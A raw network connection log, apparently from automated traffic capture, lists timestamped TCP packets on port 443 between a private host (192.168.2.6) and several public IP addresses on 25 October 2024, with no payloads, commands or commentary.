Oct 25, 2024 10:19:11.540817976 CEST	49927	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.541095972 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.541130066 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:11.541209936 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.541815042 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:11.541850090 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.152635098 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.153073072 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:12.153094053 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.155138016 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.155241966 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:12.157394886 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:12.157474995 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.157666922 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:12.157671928 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.159432888 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.159796000 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:12.159805059 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.160806894 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.160851955 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:12.161149025 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:12.161209106 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.292551994 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:12.292578936 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.367325068 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:12.367429972 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:12.396024942 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:14.211097002 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.211158037 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.211193085 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.211252928 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.211282969 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:14.211365938 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.211404085 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.211412907 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:14.211479902 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:14.212917089 CEST	49933	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:14.212944984 CEST	443	49933	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.275685072 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:14.275722027 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:14.276500940 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:14.276926994 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:14.276962996 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:14.278444052 CEST	49941	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:14.278479099 CEST	443	49941	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:14.278985977 CEST	49941	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:14.279594898 CEST	49941	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:14.279613018 CEST	443	49941	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:14.280967951 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:14.323333025 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.420802116 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.420964003 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.421032906 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:14.421056986 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.421143055 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.421197891 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:14.421214104 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.421366930 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.421431065 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:14.511861086 CEST	49934	443	192.168.2.6	172.67.167.62
Oct 25, 2024 10:19:14.511899948 CEST	443	49934	172.67.167.62	192.168.2.6
Oct 25, 2024 10:19:14.890921116 CEST	443	49941	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:14.891005039 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:14.896424055 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:14.896436930 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:14.896848917 CEST	49941	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:14.896872044 CEST	443	49941	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:14.897999048 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:14.898016930 CEST	443	49941	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:14.898121119 CEST	49941	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:14.898258924 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:14.900845051 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:14.900959969 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:14.901153088 CEST	49941	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:14.901235104 CEST	443	49941	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:14.901555061 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:14.901561975 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:14.901845932 CEST	49941	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:14.901854992 CEST	443	49941	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:14.973800898 CEST	49941	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.034915924 CEST	443	49941	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.034986019 CEST	443	49941	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.035131931 CEST	49941	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.041302919 CEST	49941	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.041322947 CEST	443	49941	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.051747084 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.051781893 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.051852942 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.053081989 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.053098917 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.058242083 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.058259010 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.142935991 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.142955065 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.142972946 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.142982960 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.142993927 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.143030882 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.143042088 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.143099070 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.143102884 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.145291090 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.145302057 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.145325899 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.145329952 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.145339012 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.145376921 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.145416021 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.145416021 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.145433903 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.145440102 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.190284967 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.260107040 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.260118008 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.260150909 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.260157108 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.260159969 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.260173082 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.260181904 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.260257959 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.262228012 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.262237072 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.262258053 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.262267113 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.262319088 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.262324095 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.262341976 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.262433052 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.263572931 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.263581991 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.263611078 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.263617992 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.263673067 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.263674021 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.263679028 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.263746023 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.264338017 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.264431000 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.264504910 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.264504910 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.268162966 CEST	49940	443	192.168.2.6	151.101.194.137
Oct 25, 2024 10:19:15.268178940 CEST	443	49940	151.101.194.137	192.168.2.6
Oct 25, 2024 10:19:15.687923908 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.688405037 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.688419104 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.688745975 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.689492941 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.689552069 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.689667940 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.735347986 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.829531908 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.829579115 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.829722881 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.829737902 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.829792023 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.829973936 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.829978943 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.830154896 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.830199003 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.830215931 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.830638885 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.830782890 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.830787897 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956051111 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956118107 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956166029 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956202030 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956203938 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.956218004 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956233978 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.956305027 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956348896 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956397057 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956407070 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.956415892 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956465006 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956504107 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956542015 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956547976 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.956556082 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956588984 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.956588984 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.956603050 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956682920 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956732035 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956800938 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956842899 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.956850052 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956896067 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956927061 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.956933022 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956954002 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:15.956962109 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.956994057 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:15.957000971 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:16.075798988 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:16.075835943 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:16.075869083 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:16.075898886 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:16.075900078 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:16.075913906 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:16.075959921 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:16.075959921 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:16.075968027 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:16.076001883 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:16.076062918 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:16.076292992 CEST	49942	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:16.076318979 CEST	443	49942	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:17.065140009 CEST	49948	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.065171003 CEST	443	49948	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.065248013 CEST	49948	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.066046000 CEST	49948	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.066056967 CEST	443	49948	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.085777044 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:17.085822105 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:17.085892916 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:17.086824894 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:17.086853027 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:17.087841034 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:17.087863922 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:17.087960958 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:17.088330030 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:17.088350058 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:17.422411919 CEST	49953	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.422460079 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.422528028 CEST	49953	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.428673029 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.428716898 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.428785086 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.434253931 CEST	49953	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.434284925 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.436192989 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.436213017 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.709861994 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:17.772022963 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:17.834495068 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:17.838507891 CEST	443	49948	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.883913994 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:17.883928061 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:17.885128021 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:17.885202885 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:17.885464907 CEST	49948	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.885483027 CEST	443	49948	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.886069059 CEST	443	49948	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.886452913 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:17.887722015 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:17.887764931 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:17.887813091 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:17.887828112 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:17.887851000 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:17.889461994 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:17.894673109 CEST	49948	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.894829035 CEST	443	49948	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.900368929 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.900369883 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.900403976 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.900413990 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.900481939 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.900482893 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.903207064 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:17.903418064 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:17.905719995 CEST	49957	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.905744076 CEST	443	49957	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.906115055 CEST	49958	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.906148911 CEST	443	49958	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.907620907 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:17.907624960 CEST	49948	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:17.907641888 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:17.907773018 CEST	443	49948	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:17.910933018 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:17.911073923 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:17.911406040 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:17.937319040 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:17.937354088 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:17.938060999 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:17.940418005 CEST	49959	443	192.168.2.6	151.101.130.137
Oct 25, 2024 10:19:17.940429926 CEST	443	49959	151.101.130.137	192.168.2.6
Oct 25, 2024 10:19:17.955363989 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:17.975507975 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:17.975552082 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:18.040060997 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:18.040146112 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:18.040158987 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:18.040237904 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:18.040425062 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:18.045330048 CEST	49952	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:18.045344114 CEST	443	49952	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:18.057069063 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:18.057085991 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:18.057394981 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:18.057421923 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:18.057436943 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:18.057471991 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:18.058970928 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:18.059092045 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:18.091602087 CEST	49951	443	192.168.2.6	52.108.8.12
Oct 25, 2024 10:19:18.091646910 CEST	443	49951	52.108.8.12	192.168.2.6
Oct 25, 2024 10:19:18.142498970 CEST	443	49948	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.144594908 CEST	443	49948	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.147628069 CEST	49948	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.210531950 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.213706970 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.213768959 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.214255095 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.216665030 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.216758013 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.216881037 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.216881037 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.216916084 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.217397928 CEST	49948	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.217427969 CEST	443	49948	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.272331953 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.273327112 CEST	49953	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.273387909 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.277018070 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.277299881 CEST	49953	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.277319908 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.281487942 CEST	49953	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.281610012 CEST	49953	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.281754017 CEST	49953	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.281766891 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.281799078 CEST	443	49953	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.282866001 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.368905067 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.368916988 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.369313955 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.369357109 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.370078087 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.370183945 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.374748945 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.376694918 CEST	49954	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:18.376729965 CEST	443	49954	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:18.385806084 CEST	49953	443	192.168.2.6	52.108.9.12
